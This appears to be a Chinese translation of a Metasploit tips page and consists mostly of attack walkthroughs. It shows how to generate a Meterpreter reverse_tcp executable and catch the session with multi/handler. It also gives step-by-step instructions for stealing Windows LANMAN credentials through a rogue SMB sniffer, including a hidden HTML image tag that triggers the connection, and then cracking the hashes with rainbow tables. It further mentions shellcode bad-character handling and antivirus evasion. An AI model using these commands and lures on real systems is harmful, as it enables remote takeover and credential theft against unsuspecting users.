Metasploit/技巧和窍门
Metasploit 框架的技巧和窍门
无论是编写漏洞利用程序还是使用 Metasploit 框架,最终用户都可以使用许多技巧。
- 不确定哪些字符可能会被过滤?使用 Rex::text.charset_exclude(badchars) 函数
shellcode = Rex::text.charset_exclude( payload_badchars ) buf[scloc] = shellcode buf[jmploc] = [ target['Rets'][0] ].pack('V')
将调试器设置为在跳转位置断点,并查看转储中的字符。(添加屏幕截图)
- 逃避技术最好在验证可利用性后应用。
- 某些负载可能无法在所有漏洞利用程序中正常工作,在获得执行流程后尝试多个负载。
在使用 Metasploit 的过程中,您会需要在没有漏洞利用程序的情况下运行负载。这可以通过使用 multi/handler 漏洞利用程序模块来实现。
步骤 1. 生成您的负载可执行文件
$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 X > met-reverse.exe
步骤 2. 启动监听器
msf > use multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.1 LHOST => 192.168.1.1 msf exploit(handler) > exploit [*] Started reverse handler [*] Starting the payload handler...
步骤 3. 运行可执行文件并交互
msf exploit(handler) > exploit [*] Started reverse handler [*] Starting the payload handler... [*] Transmitting intermediate stager for over-sized stage...(89 bytes) [*] Sending stage (2834 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (81931 bytes)... [*] Upload completed. [*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.2:1060) meterpreter >
本文档包含多个创建和使用独立负载的语法示例。它还包含关于避免防病毒检测的讨论。 http://www.giac.org/certified_professionals/practicals/GCIH/01072.php
最初的博客文章在这里 - 使用免费的彩虹表 HALFLMCHALL 表和修改后的 Metasploit 2.7 smb_sniffer 漏洞利用程序模块,获取和破解 LANMAN 挑战从未如此简单。
步骤 1. 使用 Metasploit 2.7(目前)和更新的smb_sniffer.pm 漏洞利用程序模块。这在 Windows 平台上不起作用。
步骤 2. 解压缩 Msf2.7 并将 smb_sniffer.pm 放置在 exploits/ 目录下,替换旧版本。
步骤 3. 设置 Metasploit 并以 root 身份运行。
framework-2.7 $ sudo ./msfconsole Password: o 8 o o 8 8 8 ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P 8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8 8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8 8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8 ..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..: ::::::::::::::::::::::::::::::::::8::::::::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::: + -- --=[ msfconsole v2.7 [161 exploits - 76 payloads] msf > use smb_sniffer msf smb_sniffer > show options Exploit Options =============== Exploit: Name Default Description -------- ------- ------------ ----------------------------------------------- optional KEY �"3DUfw� The Challenge key optional PWFILE The PWdump format log file (optional) optional LOGFILE smbsniff.log The path for the optional log file required LHOST 0.0.0.0 The IP address to bind the SMB service to optional UID 0 The user ID to switch to after opening the port required LPORT 139 The SMB server port Target: Targetless Exploit msf smb_sniffer > set PWFILE=/tmp/pwtest.txt PWFILE=/tmp/pwtest.txt: msf smb_sniffer > exploit [*] Listener created, switching to userid 0 [*] Starting SMB Password Service
步骤 4. 让某人连接到您的服务器。它可以是简单的“dir \\serverip\share”或“<img src=\\serverip\share\file.gif height=0 width=0>”标签,位于某些 HTML 页面上。Windows 将尝试建立连接并将登录用户的凭据发送到您的等待服务器。
步骤 5. 获取您的新 pwtest.txt 文件并将其复制到拥有 HALFLMCHALL 表的 Cain & Able 机器上。
步骤 6. 选择要破解的哈希值,右键单击并选择密码分析攻击 -> HALFLM 哈希值 + 挑战 -> 通过彩虹表,添加表并进行破解!
注意事项
- 只有 LANMAN 哈希值可以通过这种方式获得。如果客户端拒绝 LM,那么就太可惜了。
- 表中只有前 7 个字符。您必须暴力破解其余部分(或将哈希值分成两部分,并在每一端添加 AAD3B435B51404EE)。
- 表总共 54 GB。加载和搜索需要一些时间。